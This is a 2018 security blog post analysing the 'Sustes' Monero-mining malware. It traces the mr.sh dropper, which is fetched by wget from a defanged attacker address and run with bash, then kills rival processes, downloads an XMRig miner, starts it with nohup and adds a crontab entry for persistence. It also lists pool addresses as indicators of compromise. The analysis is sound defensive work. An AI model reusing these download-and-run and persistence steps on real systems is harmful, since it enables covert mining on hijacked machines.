Thursday, September 20, 2018

Sustes Malware: CPU for Monero

Today I'd like to share a simple analysis based on fascinating threat that I like to call Sustes (you will see name genesis in a bit).

Everybody knows Monero crypto currency and probably everybody knows that it has built upon privacy, by meaning It's not that simple to figure out Monero wallet balance. Sustes (mr.sh) is a nice example of Pirate-Mining and even if it's hard to figure out its magnitude, since the attacker built-up private pool-proxies, I believe it's interesting to fix wallet address in memories and to share IoC for future Protection. So, let's have a closer look to it.

Monero stops you trying to check wallet balance

Sustes Malware doesn't infect victims by itself (it's not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget (http:\/\/192[.]99[.]142[.]226[:]8220\/mr.sh) directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software with a bit of spicy. The following code represents the mr.sh content as a today (ref. blog post date).

An initial connection-check wants to take down unwanted software on the victim side (awk '{print $7}' | sed -e "s/\/.*//g") taking decisions upon specific IP addresses. It filters PID from connection states and it directly kills them (kill -9). The extracted attacker's unwanted communications are the following ones:

A second check comes from "command lines arguments". Sustes "greps" to search for configuration files (for example: wc.conf and wq.conf and wm.conf) then it looks for software names such as sustes (here we go !) and kills everything matches the "grep". The script follows by assigning to f2 variable the dropping website (192[.]99[.]142[.]226:8220) and later-on it calls "f2" adding specific paths (for example: /xm64 and wt.conf) in order to drop crafted components. MR.sh follows by running the dropped software with configuration file as follows:

nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &

MR.SH ends up by setting a periodic crontab action on dropping and executing itself by setting up:

Following the analysis and extracting the configuration file from dropping URL we might observe the Monero wallet addresses and the Monero Pools used by attacker. The following wallets (W1, W2, W3) were found.

Quick analyses on the used Monero pools took me to believe the attacker built up a custom and private (deployed on private infrastructures) monero pool/proxies, for such a reason I believe it would be nice to monitor and/or block the following addresses:

158[.]69[.]133[.]20 on port 3333

192[.]99[.]142[.]249 on port 3333

202[.]144[.]193[.]110 on port 3333

The downloaded payload is named sustes and it is a basic XMRIG, which is a well-known opensource miner. In this scenario it is used to make money at the expense of computer users by abusing the infected computer to mine Monero, a cryptocurrency. The following image shows the usage strings as an initial proof of software.

XMRIG prove 1

Many people are currently wondering what is the sustes process which is draining a lot of PC resources (for example: here, here and here ) .... now we have an answer: it's a unwanted Miner. :D.